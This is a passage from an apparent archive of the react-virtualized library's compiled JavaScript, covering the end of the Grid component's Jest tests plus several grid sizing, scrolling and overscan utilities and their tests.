              };

              scrollingResetTimeInterval = 50;
              cellRangeRendererCalls = 0;
              props = {
                scrollingResetTimeInterval: scrollingResetTimeInterval,
                cellRangeRenderer: cellRangeRenderer
              };
              grid = render(getMarkup(props));
              render(getMarkup(props));
              expect(cellRangeRendererCalls).toEqual(1);
              i = 1;

            case 8:
              if (!(i <= 5)) {
                _context5.next = 17;
                break;
              }

              cellRangeRendererCalls = 0;
              simulateScroll({
                grid: grid,
                scrollTop: i
              }); // small wait for maybe early _debounceScrollEndedCallback

              _context5.next = 13;
              return _regeneratorRuntime.awrap(new Promise(function (resolve) {
                return setTimeout(resolve, scrollingResetTimeInterval / 2);
              }));

            case 13:
              expect(cellRangeRendererCalls).toEqual(1);

            case 14:
              i++;
              _context5.next = 8;
              break;

            case 17:
              cellRangeRendererCalls = 0; // wait for real _debounceScrollEndedCallback

              _context5.next = 20;
              return _regeneratorRuntime.awrap(new Promise(function (resolve) {
                return setTimeout(resolve, scrollingResetTimeInterval * 1.5);
              }));

            case 20:
              expect(cellRangeRendererCalls).toEqual(1);

            case 21:
            case "end":
              return _context5.stop();
          }
        }
      });
    });
    it('should support a custom :scrollingResetTimeInterval prop', function _callee6(done) {
      var cellRendererCalls, scrollingResetTimeInterval, cellRenderer, props, grid;
      return _regeneratorRuntime.async(function _callee6$(_context6) {
        while (1) {
          switch (_context6.prev = _context6.next) {
            case 0:
              cellRenderer = function _ref18(_ref17) {
                var columnIndex = _ref17.columnIndex,
                    key = _ref17.key,
                    rowIndex = _ref17.rowIndex,
                    style = _ref17.style;
                cellRendererCalls.push({
                  columnIndex: columnIndex,
                  rowIndex: rowIndex
                });
                return defaultCellRenderer({
                  columnIndex: columnIndex,
                  key: key,
                  rowIndex: rowIndex,
                  style: style
                });
              };

              cellRendererCalls = [];
              scrollingResetTimeInterval = DEFAULT_SCROLLING_RESET_TIME_INTERVAL * 2;
              props = {
                cellRenderer: cellRenderer,
                scrollingResetTimeInterval: scrollingResetTimeInterval
              };
              grid = render(getMarkup(props));
              expect(cellRendererCalls.length > 0).toEqual(true);
              simulateScroll({
                grid: grid,
                scrollTop: 1
              });
              _context6.next = 9;
              return _regeneratorRuntime.awrap(new Promise(function (resolve) {
                return setTimeout(resolve, DEFAULT_SCROLLING_RESET_TIME_INTERVAL);
              }));

            case 9:
              cellRendererCalls.splice(0);
              render(getMarkup(_objectSpread({}, props, {
                className: 'foo'
              })));
              expect(cellRendererCalls.length).toEqual(0);
              _context6.next = 14;
              return _regeneratorRuntime.awrap(new Promise(function (resolve) {
                return setTimeout(resolve, DEFAULT_SCROLLING_RESET_TIME_INTERVAL * 2);
              }));

            case 14:
              cellRendererCalls.splice(0);
              render(getMarkup(_objectSpread({}, props, {
                className: 'bar'
              })));
              expect(cellRendererCalls.length).not.toEqual(0);
              done();

            case 18:
            case "end":
              return _context6.stop();
          }
        }
      });
    });
  });
  describe('measureAllCells', function () {
    it('should measure any unmeasured columns and rows', function () {
      var grid = render(getMarkup({
        columnCount: 10,
        columnWidth: function columnWidth() {
          return 100;
        },
        estimatedColumnSize: 150,
        estimatedRowSize: 15,
        height: 0,
        rowCount: 10,
        rowHeight: function rowHeight() {
          return 20;
        },
        width: 0
      }));
      expect(grid.state.instanceProps.columnSizeAndPositionManager.getTotalSize()).toEqual(1500);
      expect(grid.state.instanceProps.rowSizeAndPositionManager.getTotalSize()).toEqual(150);
      grid.measureAllCells();
      expect(grid.state.instanceProps.columnSizeAndPositionManager.getTotalSize()).toEqual(1000);
      expect(grid.state.instanceProps.rowSizeAndPositionManager.getTotalSize()).toEqual(200);
    });
  });
  describe('recomputeGridSize', function () {
    it('should recompute cell sizes and other values when called', function () {
      var columnIndices = [];
      var rowIndices = [];

      function columnWidth(_ref19) {
        var index = _ref19.index;
        columnIndices.push(index);
        return 10;
      }

      function rowHeight(_ref20) {
        var index = _ref20.index;
        rowIndices.push(index);
        return 10;
      }

      var props = {
        columnCount: 50,
        columnWidth: columnWidth,
        height: 50,
        rowHeight: rowHeight,
        rowCount: 50,
        width: 100
      };
      var component = render(getMarkup(props));
      columnIndices.splice(0);
      rowIndices.splice(0);
      component.recomputeGridSize(); // Only the rows required to fill the current viewport will be rendered

      expect(columnIndices[0]).toEqual(0);
      expect(columnIndices[columnIndices.length - 1]).toEqual(9);
      expect(rowIndices[0]).toEqual(0);
      expect(rowIndices[rowIndices.length - 1]).toEqual(4);
      columnIndices.splice(0);
      rowIndices.splice(0);
      component.recomputeGridSize({
        columnIndex: 4,
        rowIndex: 2
      }); // Only the rows required to fill the current viewport will be rendered

      expect(columnIndices[0]).toEqual(4);
      expect(columnIndices[columnIndices.length - 1]).toEqual(9);
      expect(rowIndices[0]).toEqual(2);
      expect(rowIndices[rowIndices.length - 1]).toEqual(4);
    });
  });
  describe('autoContainerWidth', function () {
    it('should set the innerScrollContainer width to auto to better support single-column HOCs', function () {
      var props = {
        autoContainerWidth: true
      };
      var rendered = findDOMNode(render(getMarkup(props)));
      expect(rendered.querySelector('.ReactVirtualized__Grid__innerScrollContainer').style.width).toEqual('auto');
    });
    it('should set the innerScrollContainer width to :totalColumnsWidth unless :autoContainerWidth', function () {
      var props = {
        autoContainerWidth: false
      };
      var rendered = findDOMNode(render(getMarkup(props)));
      expect(rendered.querySelector('.ReactVirtualized__Grid__innerScrollContainer').style.width).toEqual('2500px'); // 50 columns x 50px
    });
  });
  describe('autoHeight', function () {
    it('should set the container height to auto to adjust to innerScrollContainer height', function () {
      var props = {
        autoHeight: true
      };
      var rendered = findDOMNode(render(getMarkup(props)));
      expect(rendered.style.height).toEqual('auto');
    });
    it('should have container height still affecting number of rows rendered', function () {
      var props = {
        height: 500,
        autoHeight: true
      };
      var rendered = findDOMNode(render(getMarkup(props)));
      expect(rendered.querySelectorAll('.gridItem').length).toEqual(100); // 25 rows x 4 columns
    });
    it('should have innerScrollContainer height to be equal number of rows * rowHeight', function () {
      var props = {
        autoHeight: true
      };
      var grid = render(getMarkup(props));
      var rendered = findDOMNode(grid);
      expect(rendered.querySelector('.ReactVirtualized__Grid__innerScrollContainer').style.height).toEqual('2000px'); // 100 rows * 20px rowHeight

      expect(grid.state.instanceProps.rowSizeAndPositionManager.getTotalSize()).toEqual(2000);
    });
  });
  describe('autoWidth', function () {
    it('should set the container width to auto to adjust to innerScrollContainer width', function () {
      var props = {
        autoWidth: true
      };
      var rendered = findDOMNode(render(getMarkup(props)));
      expect(rendered.style.width).toEqual('auto');
    });
    it('should have container width still affecting number of columns rendered', function () {
      var props = {
        width: 500,
        autoWidth: true
      };
      var rendered = findDOMNode(render(getMarkup(props)));
      expect(rendered.querySelectorAll('.gridItem').length).toEqual(50); // 5 rows x 10 columns
    });
    it('should have innerScrollContainer width to be equal number of columns * columnWidth', function () {
      var props = {
        autoWidth: true
      };
      var grid = render(getMarkup(props));
      var rendered = findDOMNode(grid);
      expect(rendered.querySelector('.ReactVirtualized__Grid__innerScrollContainer').style.width).toEqual('2500px'); // 50 columns * 50px columnWidth

      expect(grid.state.instanceProps.columnSizeAndPositionManager.getTotalSize()).toEqual(2500);
    });
  });
  describe('tabIndex', function () {
    it('should be focusable by default', function () {
      var rendered = findDOMNode(render(getMarkup()));
      expect(rendered.tabIndex).toEqual(0);
    });
    it('should allow tabIndex to be overridden', function () {
      var rendered = findDOMNode(render(getMarkup({
        tabIndex: -1
      })));
      expect(rendered.tabIndex).toEqual(-1);
    });
  });
  describe('role', function () {
    it('should have grid role by default', function () {
      var rendered = findDOMNode(render(getMarkup()));
      expect(rendered.getAttribute('role')).toEqual('grid');
    });
    it('should allow role to be overridden', function () {
      var role = null;
      var rendered = findDOMNode(render(getMarkup({
        role: role
      })));
      expect(rendered.getAttribute('role')).toEqual(role);
    });
  });
  describe('pure', function () {
    it('should not re-render unless props have changed', function () {
      var cellRendererCalled = false;

      function cellRenderer(_ref21) {
        var key = _ref21.key,
            style = _ref21.style;
        cellRendererCalled = true;
        return React.createElement("div", {
          key: key,
          style: style
        });
      }

      var markup = getMarkup({
        cellRenderer: cellRenderer
      });
      render(markup);
      expect(cellRendererCalled).toEqual(true);
      cellRendererCalled = false;
      render(markup);
      expect(cellRendererCalled).toEqual(false);
    });
    it('should not re-render grid components if they extend PureComponent', function () {
      var componentUpdates = 0;

      var GridComponent =
      /*#__PURE__*/
      function (_React$PureComponent) {
        _inherits(GridComponent, _React$PureComponent);

        function GridComponent() {
          _classCallCheck(this, GridComponent);

          return _possibleConstructorReturn(this, _getPrototypeOf(GridComponent).apply(this, arguments));
        }

        _createClass(GridComponent, [{
          key: "componentDidUpdate",
          value: function componentDidUpdate() {
            componentUpdates++;
          }
        }, {
          key: "render",
          value: function render() {
            var _this$props = this.props,
                columnIndex = _this$props.columnIndex,
                rowIndex = _this$props.rowIndex,
                style = _this$props.style;
            return React.createElement("div", {
              className: "gridItem",
              style: style
            }, "row:".concat(rowIndex, ", column:").concat(columnIndex));
          }
        }]);

        return GridComponent;
      }(React.PureComponent);

      function cellRenderer(_ref22) {
        var columnIndex = _ref22.columnIndex,
            key = _ref22.key,
            rowIndex = _ref22.rowIndex,
            style = _ref22.style;
        return React.createElement(GridComponent, {
          key: key,
          columnIndex: columnIndex,
          rowIndex: rowIndex,
          style: style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        columnWidth: 100,
        height: 40,
        rowHeight: 20,
        scrollTop: 0,
        width: 100
      };
      var grid = render(getMarkup(props));
      simulateScroll({
        grid: grid,
        scrollToIndex: 1
      });
      expect(componentUpdates).toEqual(0);
    });
    it('should clear all but the visible rows from the style cache once :isScrolling is false', function _callee7(done) {
      var props, grid;
      return _regeneratorRuntime.async(function _callee7$(_context7) {
        while (1) {
          switch (_context7.prev = _context7.next) {
            case 0:
              props = {
                columnWidth: 50,
                height: 100,
                overscanColumnCount: 0,
                overscanRowCount: 0,
                rowHeight: 50,
                width: 100
              };
              grid = render(getMarkup(props));
              expect(Object.keys(grid._styleCache).length).toBe(4);
              simulateScroll({
                grid: grid,
                scrollTop: 50
              });
              expect(Object.keys(grid._styleCache).length).toBe(6); // Allow scrolling timeout to complete so that cell cache is reset

              _context7.next = 7;
              return _regeneratorRuntime.awrap(new Promise(function (resolve) {
                return setTimeout(resolve, DEFAULT_SCROLLING_RESET_TIME_INTERVAL * 2);
              }));

            case 7:
              expect(Object.keys(grid._styleCache).length).toBe(4);
              done();

            case 9:
            case "end":
              return _context7.stop();
          }
        }
      });
    });
    it('should clear style cache if :recomputeGridSize is called', function () {
      var props = {
        columnWidth: 50,
        height: 100,
        overscanColumnCount: 0,
        overscanRowCount: 0,
        rowHeight: 50,
        width: 100
      };
      var grid = render(getMarkup(props));
      expect(Object.keys(grid._styleCache).length).toBe(4);
      render(getMarkup(_objectSpread({}, props, {
        scrollTop: 50
      })));
      expect(Object.keys(grid._styleCache).length).toBe(6);
      grid.recomputeGridSize();
      expect(Object.keys(grid._styleCache).length).toBe(4);
    });
    it('should clear style cache if cell sizes change', function () {
      var cellRendererCalls = [];

      function cellRenderer(params) {
        cellRendererCalls.push(params);
        return React.createElement("div", {
          key: params.key,
          style: params.style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        columnWidth: 100,
        height: 100,
        overscanColumnCount: 0,
        overscanRowCount: 0,
        rowHeight: 100,
        width: 100
      };
      render(getMarkup(props));
      expect(cellRendererCalls.length).toEqual(1);
      expect(cellRendererCalls[0].style.width).toEqual(100);
      render(getMarkup(_objectSpread({}, props, {
        columnWidth: 50,
        width: 50
      })));
      expect(cellRendererCalls.length).toEqual(2);
      expect(cellRendererCalls[1].style.width).toEqual(50);
    });
  });
  it('should not pull from the style cache while scrolling if there is an offset adjustment', function () {
    var cellRendererCalls = [];

    function cellRenderer(params) {
      cellRendererCalls.push(params);
      return React.createElement("div", {
        key: params.key,
        style: params.style
      });
    }

    var grid = render(getMarkup({
      cellRenderer: cellRenderer,
      width: 100,
      height: 100,
      rowHeight: 100,
      columnWidth: 100,
      rowCount: getMaxElementSize() * 2 / 100,
      // lots of offset
      scrollTop: 2000
    }));
    simulateScroll({
      grid: grid,
      scrollTop: 2100
    }); // cellRendererCalls[0] is the element at rowIndex 0
    // only two calls. Since the scrollTop is updated in getDerivedStateFromProps

    var firstProps = cellRendererCalls[0];
    var secondProps = cellRendererCalls[1];
    expect(cellRendererCalls.length).toEqual(2);
    expect(firstProps.style).not.toBe(secondProps.style);
  });
  it('should only cache styles when a :deferredMeasurementCache is provided if the cell has already been measured', function () {
    var cache = new CellMeasurerCache({
      fixedWidth: true
    });
    cache.set(0, 0, 100, 100);
    cache.set(1, 1, 100, 100);
    var grid = render(getMarkup({
      columnCount: 2,
      deferredMeasurementCache: cache,
      rowCount: 2
    }));
    var keys = Object.keys(grid._styleCache);
    expect(keys).toEqual(['0-0', '1-1']);
  });
  describe('DEV warnings', function () {
    it('should warn about cells that forget to include the :style property', function () {
      spyOn(console, 'warn');

      function cellRenderer(params) {
        return React.createElement("div", {
          key: params.key
        });
      }

      render(getMarkup({
        cellRenderer: cellRenderer
      }));
      expect(console.warn).toHaveBeenCalledWith('Rendered cell should include style property for positioning.');
      expect(console.warn).toHaveBeenCalledTimes(1);
    });
    it('should warn about CellMeasurer measured cells that forget to include the :style property', function () {
      spyOn(console, 'warn');
      var cache = new CellMeasurerCache({
        fixedWidth: true
      });
      var cellRenderer = jest.fn();
      cellRenderer.mockImplementation(function (params) {
        return React.createElement(CellMeasurer, {
          cache: cache,
          columnIndex: params.columnIndex,
          key: params.key,
          parent: params.parent,
          rowIndex: params.rowIndex,
          style: params.style
        }, React.createElement("div", null));
      });
      render(getMarkup({
        cellRenderer: cellRenderer,
        columnCount: 1,
        deferredMeasurementCache: cache,
        rowCount: 1
      }));
      expect(console.warn).toHaveBeenCalledWith('Rendered cell should include style property for positioning.');
      expect(console.warn).toHaveBeenCalledTimes(1);
    });
  });
  describe('deferredMeasurementCache', function () {
    it('invalidateCellSizeAfterRender should invalidate cache and refresh displayed cells after mount', function () {
      var cache = new CellMeasurerCache({
        fixedWidth: true
      });
      var invalidateCellSizeAfterRender = true;
      var cellRenderer = jest.fn();
      cellRenderer.mockImplementation(function (params) {
        // Don't get stuck in a loop
        if (invalidateCellSizeAfterRender) {
          invalidateCellSizeAfterRender = false;
          params.parent.invalidateCellSizeAfterRender({
            columnIndex: 1,
            rowIndex: 0
          });
        }

        return React.createElement("div", {
          key: params.key,
          style: params.style
        });
      });
      var props = {
        cellRenderer: cellRenderer,
        columnCount: 2,
        deferredMeasurementCache: cache,
        rowCount: 2
      };
      render(getMarkup(props)); // 4 times for initial render + 4 once cellCache was cleared

      expect(cellRenderer).toHaveBeenCalledTimes(8);
    });
    it('should invalidate cache and refresh displayed cells after update', function () {
      var cache = new CellMeasurerCache({
        fixedWidth: true
      });
      var cellRenderer = jest.fn();
      cellRenderer.mockImplementation(function (params) {
        return React.createElement("div", {
          key: params.key,
          style: params.style
        });
      });
      var props = {
        cellRenderer: cellRenderer,
        columnCount: 2,
        deferredMeasurementCache: cache,
        rowCount: 2
      };
      var grid = render(getMarkup(props));
      expect(cellRenderer).toHaveBeenCalledTimes(4);
      var invalidateCellSizeAfterRender = false;
      cellRenderer.mockReset();
      cellRenderer.mockImplementation(function (params) {
        // Don't get stuck in a loop
        if (invalidateCellSizeAfterRender) {
          invalidateCellSizeAfterRender = false;
          params.parent.invalidateCellSizeAfterRender({
            columnIndex: 1,
            rowIndex: 0
          });
        }

        return React.createElement("div", {
          key: params.key,
          style: params.style
        });
      });
      invalidateCellSizeAfterRender = true;
      grid.recomputeGridSize(); // 4 times for initial render + 4 once cellCache was cleared

      expect(cellRenderer).toHaveBeenCalledTimes(8);
    });
    it('should not cache cells until they have been measured by CellMeasurer', function () {
      var cache = new CellMeasurerCache({
        fixedWidth: true
      }); // Fake measure cell 0,0 but not cell 0,1

      cache.set(0, 0, 100, 30);
      var cellRenderer = jest.fn();
      cellRenderer.mockImplementation(function (params) {
        return React.createElement("div", {
          key: params.key,
          style: params.style
        });
      });
      var props = {
        cellRenderer: cellRenderer,
        columnCount: 2,
        deferredMeasurementCache: cache,
        rowCount: 1
      }; // Trigger 2 renders
      // The second render should re-use the style for cell 0,0
      // But should not re-use the style for cell 0,1 since it was not measured

      var grid = render(getMarkup(props));
      grid.forceUpdate(); // 0,0 - 0,1 - 0,0 - 0,1

      expect(cellRenderer).toHaveBeenCalledTimes(4);
      var style00A = cellRenderer.mock.calls[0][0].style;
      var style01A = cellRenderer.mock.calls[1][0].style;
      var style00B = cellRenderer.mock.calls[2][0].style;
      var style01B = cellRenderer.mock.calls[3][0].style;
      expect(style00A).toBe(style00B);
      expect(style01A).not.toBe(style01B);
    });
  });
  describe('onScrollbarPresenceChange', function () {
    it('should not trigger on-mount if scrollbars are hidden', function () {
      var onScrollbarPresenceChange = jest.fn();
      render(getMarkup({
        columnCount: 1,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 1
      }));
      expect(onScrollbarPresenceChange).not.toHaveBeenCalled();
    });
    it('should trigger on-mount if scrollbars are visible', function () {
      var onScrollbarPresenceChange = jest.fn();
      render(getMarkup({
        columnCount: 100,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 100
      }));
      expect(onScrollbarPresenceChange).toHaveBeenCalled();
      var args = onScrollbarPresenceChange.mock.calls[0][0];
      expect(args.horizontal).toBe(true);
      expect(args.size).toBe(getScrollbarSize20());
      expect(args.vertical).toBe(true);
    });
    it('should trigger on-update if scrollbar visibility has changed', function () {
      var onScrollbarPresenceChange = jest.fn();
      render(getMarkup({
        columnCount: 1,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 1
      }));
      expect(onScrollbarPresenceChange).not.toHaveBeenCalled();
      render(getMarkup({
        columnCount: 100,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 100
      }));
      expect(onScrollbarPresenceChange).toHaveBeenCalled();
      var args = onScrollbarPresenceChange.mock.calls[0][0];
      expect(args.horizontal).toBe(true);
      expect(args.size).toBe(getScrollbarSize20());
      expect(args.vertical).toBe(true);
    });
    it('should not trigger on-update if scrollbar visibility does not change', function () {
      var onScrollbarPresenceChange = jest.fn();
      render(getMarkup({
        columnCount: 1,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 1
      }));
      expect(onScrollbarPresenceChange).not.toHaveBeenCalled();
      render(getMarkup({
        columnCount: 2,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 2
      }));
      expect(onScrollbarPresenceChange).not.toHaveBeenCalled();
    });
  });
  it('should not complain when using react-test-renderer', function () {
    var instance = TestRenderer.create(getMarkup()).getInstance();
    expect(instance).toBeTruthy();
  });
});es/Grid/accessibilityOverscanIndicesGetter.js000064400000002601151677406000015405 0ustar00export var SCROLL_DIRECTION_BACKWARD = -1;
export var SCROLL_DIRECTION_FORWARD = 1;
export var SCROLL_DIRECTION_HORIZONTAL = 'horizontal';
export var SCROLL_DIRECTION_VERTICAL = 'vertical';
/**
 * Calculates the number of cells to overscan before and after a specified range.
 * This function ensures that overscanning doesn't exceed the available cells.
 */

export default function defaultOverscanIndicesGetter(_ref) {
  var cellCount = _ref.cellCount,
      overscanCellsCount = _ref.overscanCellsCount,
      scrollDirection = _ref.scrollDirection,
      startIndex = _ref.startIndex,
      stopIndex = _ref.stopIndex;
  // Make sure we render at least 1 cell extra before and after (except near boundaries)
  // This is necessary in order to support keyboard navigation (TAB/SHIFT+TAB) in some cases
  // For more info see issues #625
  overscanCellsCount = Math.max(1, overscanCellsCount);

  if (scrollDirection === SCROLL_DIRECTION_FORWARD) {
    return {
      overscanStartIndex: Math.max(0, startIndex - 1),
      overscanStopIndex: Math.min(cellCount - 1, stopIndex + overscanCellsCount)
    };
  } else {
    return {
      overscanStartIndex: Math.max(0, startIndex - overscanCellsCount),
      overscanStopIndex: Math.min(cellCount - 1, stopIndex + 1)
    };
  }
}
import { bpfrpt_proptype_OverscanIndicesGetterParams } from "./types";
import { bpfrpt_proptype_OverscanIndices } from "./types";es/Grid/utils/maxElementSize.js000064400000000647151677406000012505 0ustar00var DEFAULT_MAX_ELEMENT_SIZE = 1500000;
var CHROME_MAX_ELEMENT_SIZE = 1.67771e7;

var isBrowser = function isBrowser() {
  return typeof window !== 'undefined';
};

var isChrome = function isChrome() {
  return !!window.chrome;
};

export var getMaxElementSize = function getMaxElementSize() {
  if (isBrowser()) {
    if (isChrome()) {
      return CHROME_MAX_ELEMENT_SIZE;
    }
  }

  return DEFAULT_MAX_ELEMENT_SIZE;
};es/Grid/utils/updateScrollIndexHelper.js000064400000004626151677406000014345 0ustar00import ScalingCellSizeAndPositionManager from './ScalingCellSizeAndPositionManager.js';
/**
 * Helper function that determines when to update scroll offsets to ensure that a scroll-to-index remains visible.
 * This function also ensures that the scroll ofset isn't past the last column/row of cells.
 */

export default function updateScrollIndexHelper(_ref) {
  var cellSize = _ref.cellSize,
      cellSizeAndPositionManager = _ref.cellSizeAndPositionManager,
      previousCellsCount = _ref.previousCellsCount,
      previousCellSize = _ref.previousCellSize,
      previousScrollToAlignment = _ref.previousScrollToAlignment,
      previousScrollToIndex = _ref.previousScrollToIndex,
      previousSize = _ref.previousSize,
      scrollOffset = _ref.scrollOffset,
      scrollToAlignment = _ref.scrollToAlignment,
      scrollToIndex = _ref.scrollToIndex,
      size = _ref.size,
      sizeJustIncreasedFromZero = _ref.sizeJustIncreasedFromZero,
      updateScrollIndexCallback = _ref.updateScrollIndexCallback;
  var cellCount = cellSizeAndPositionManager.getCellCount();
  var hasScrollToIndex = scrollToIndex >= 0 && scrollToIndex < cellCount;
  var sizeHasChanged = size !== previousSize || sizeJustIncreasedFromZero || !previousCellSize || typeof cellSize === 'number' && cellSize !== previousCellSize; // If we have a new scroll target OR if height/row-height has changed,
  // We should ensure that the scroll target is visible.

  if (hasScrollToIndex && (sizeHasChanged || scrollToAlignment !== previousScrollToAlignment || scrollToIndex !== previousScrollToIndex)) {
    updateScrollIndexCallback(scrollToIndex); // If we don't have a selected item but list size or number of children have decreased,
    // Make sure we aren't scrolled too far past the current content.
  } else if (!hasScrollToIndex && cellCount > 0 && (size < previousSize || cellCount < previousCellsCount)) {
    // We need to ensure that the current scroll offset is still within the collection's range.
    // To do this, we don't need to measure everything; CellMeasurer would perform poorly.
    // Just check to make sure we're still okay.
    // Only adjust the scroll position if we've scrolled below the last set of rows.
    if (scrollOffset > cellSizeAndPositionManager.getTotalSize() - size) {
      updateScrollIndexCallback(cellCount - 1);
    }
  }
}
import { bpfrpt_proptype_Alignment } from "../types";
import { bpfrpt_proptype_CellSize } from "../types";es/Grid/utils/ScalingCellSizeAndPositionManager.jest.js000064400000014136151677406010017174 0ustar00import ScalingCellSizeAndPositionManager from './ScalingCellSizeAndPositionManager';
describe('ScalingCellSizeAndPositionManager', function () {
  function init() {
    var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        _ref$cellCount = _ref.cellCount,
        cellCount = _ref$cellCount === void 0 ? 10 : _ref$cellCount,
        _ref$cellSize = _ref.cellSize,
        cellSize = _ref$cellSize === void 0 ? 10 : _ref$cellSize,
        _ref$estimatedCellSiz = _ref.estimatedCellSize,
        estimatedCellSize = _ref$estimatedCellSiz === void 0 ? 10 : _ref$estimatedCellSiz,
        _ref$maxScrollSize = _ref.maxScrollSize,
        maxScrollSize = _ref$maxScrollSize === void 0 ? 50 : _ref$maxScrollSize;

    var cellSizeAndPositionManager = new ScalingCellSizeAndPositionManager({
      cellCount: cellCount,
      cellSizeGetter: function cellSizeGetter() {
        return cellSize;
      },
      estimatedCellSize: estimatedCellSize,
      maxScrollSize: maxScrollSize
    });
    return cellSizeAndPositionManager;
  }

  describe('_getOffsetPercentage', function () {
    it('should return the correct offset fraction', function () {
      var expectations = [{
        offset: 0,
        expectedOffsetPercentage: 0
      }, {
        offset: 35,
        expectedOffsetPercentage: 0.5
      }, {
        offset: 70,
        expectedOffsetPercentage: 1
      }];
      var instance = init();
      expectations.forEach(function (expectation) {
        expect(instance._getOffsetPercentage({
          containerSize: 30,
          offset: expectation.offset,
          totalSize: 100
        })).toBe(expectation.expectedOffsetPercentage);
      });
    });
  });
  describe('getOffsetAdjustment', function () {
    it('should always return 0 as the adjustment for unscaled lists', function () {
      var maxScrollSizes = [100, 150];
      maxScrollSizes.forEach(function (maxScrollSize) {
        var instance = init({
          cellCount: 10,
          maxScrollSize: maxScrollSize
        });
        var offsets = [0, 35, 70];
        offsets.forEach(function (offset) {
          expect(instance.getOffsetAdjustment({
            containerSize: 30,
            offset: offset
          })).toBe(0);
        });
      });
    });
    it('should properly scale an offset at the beginning, middle, and end of the list', function () {
      var offsetsAndExpectedAdjustements = [{
        offset: 0,
        expectedAdjustment: -0
      }, {
        offset: 10,
        expectedAdjustment: -25
      }, {
        offset: 20,
        expectedAdjustment: -50
      }];
      var instance = init();
      offsetsAndExpectedAdjustements.forEach(function (offsetAndExpectedAdjustement) {
        expect(instance.getOffsetAdjustment({
          containerSize: 30,
          offset: offsetAndExpectedAdjustement.offset
        })).toBe(offsetAndExpectedAdjustement.expectedAdjustment);
      });
    });
  });
  describe('getTotalSize', function () {
    it('should return :totalSize if it is not greater than :maxScrollSize', function () {
      var maxScrollSizes = [500, 750];
      maxScrollSizes.forEach(function (maxScrollSize) {
        var instance = init({
          cellCount: 50,
          maxScrollSize: maxScrollSize
        });
        expect(instance.getTotalSize()).toEqual(500);
      });
    });
    it('should return :maxScrollSize if :totalSize is greater', function () {
      var instance = init({
        cellCount: 100,
        maxScrollSize: 100
      });
      expect(instance.getTotalSize()).toEqual(100);
    });
  });
  describe('getUpdatedOffsetForIndex', function () {
    it('should scroll to a cell before the current range', function () {
      var data = [{
        targetIndex: 0,
        expectedOffset: 0
      }, {
        targetIndex: 1,
        expectedOffset: 3
      }, // (unsafe: 10)
      {
        targetIndex: 2,
        expectedOffset: 6
      } // (unsafe: 20)
      ];
      var instance = init();
      data.forEach(function (datum) {
        expect(instance.getUpdatedOffsetForIndex({
          containerSize: 30,
          currentOffset: 10,
          // (unsafe: 35)
          targetIndex: datum.targetIndex
        })).toBe(datum.expectedOffset);
      });
    });
    it('should scroll to a cell after the current range', function () {
      var data = [{
        targetIndex: 7,
        expectedOffset: 14
      }, // (unsafe: 50)
      {
        targetIndex: 9,
        expectedOffset: 20
      } // (unsafe: 70)
      ];
      var instance = init();
      data.forEach(function (datum) {
        expect(instance.getUpdatedOffsetForIndex({
          containerSize: 30,
          currentOffset: 0,
          targetIndex: datum.targetIndex
        })).toBe(datum.expectedOffset);
      });
    });
    it('should not scroll to a cell already visible within the current range', function () {
      var instance = init();
      expect(instance.getUpdatedOffsetForIndex({
        containerSize: 30,
        currentOffset: 10,
        // (unsafe: 35)
        targetIndex: 4
      })).toBe(10);
    });
  });
  describe('getVisibleCellRange', function () {
    it('should correct identify the first set of cells', function () {
      var instance = init();
      expect(instance.getVisibleCellRange({
        containerSize: 30,
        offset: 0
      })).toEqual({
        start: 0,
        stop: 2
      });
    });
    it('should correct identify cells in the middle', function () {
      var instance = init();
      expect(instance.getVisibleCellRange({
        containerSize: 30,
        offset: 2.85 // (unsafe: 10)

      })).toEqual({
        start: 1,
        stop: 3
      });
    });
    it('should correct identify partially visible cells', function () {
      var instance = init();
      expect(instance.getVisibleCellRange({
        containerSize: 30,
        offset: 10 // (unsafe: 35)

      })).toEqual({
        start: 3,
        stop: 6
      });
    });
    it('should correct identify the last set of cells', function () {
      var instance = init();
      expect(instance.getVisibleCellRange({
        containerSize: 30,
        offset: 20
      })).toEqual({
        start: 7,
        stop: 9
      });
    });
  });
});es/Grid/utils/CellSizeAndPositionManager.js000064400000024566151677406010014737 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

/**
 * Just-in-time calculates and caches size and position information for a collection of cells.
 */
var CellSizeAndPositionManager =
/*#__PURE__*/
function () {
  // Cache of size and position data for cells, mapped by cell index.
  // Note that invalid values may exist in this map so only rely on cells up to this._lastMeasuredIndex
  // Measurements for cells up to this index can be trusted; cells afterward should be estimated.
  // Used in deferred mode to track which cells have been queued for measurement.
  function CellSizeAndPositionManager(_ref) {
    var cellCount = _ref.cellCount,
        cellSizeGetter = _ref.cellSizeGetter,
        estimatedCellSize = _ref.estimatedCellSize;

    _classCallCheck(this, CellSizeAndPositionManager);

    _defineProperty(this, "_cellSizeAndPositionData", {});

    _defineProperty(this, "_lastMeasuredIndex", -1);

    _defineProperty(this, "_lastBatchedIndex", -1);

    _defineProperty(this, "_cellCount", void 0);

    _defineProperty(this, "_cellSizeGetter", void 0);

    _defineProperty(this, "_estimatedCellSize", void 0);

    this._cellSizeGetter = cellSizeGetter;
    this._cellCount = cellCount;
    this._estimatedCellSize = estimatedCellSize;
  }

  _createClass(CellSizeAndPositionManager, [{
    key: "areOffsetsAdjusted",
    value: function areOffsetsAdjusted() {
      return false;
    }
  }, {
    key: "configure",
    value: function configure(_ref2) {
      var cellCount = _ref2.cellCount,
          estimatedCellSize = _ref2.estimatedCellSize,
          cellSizeGetter = _ref2.cellSizeGetter;
      this._cellCount = cellCount;
      this._estimatedCellSize = estimatedCellSize;
      this._cellSizeGetter = cellSizeGetter;
    }
  }, {
    key: "getCellCount",
    value: function getCellCount() {
      return this._cellCount;
    }
  }, {
    key: "getEstimatedCellSize",
    value: function getEstimatedCellSize() {
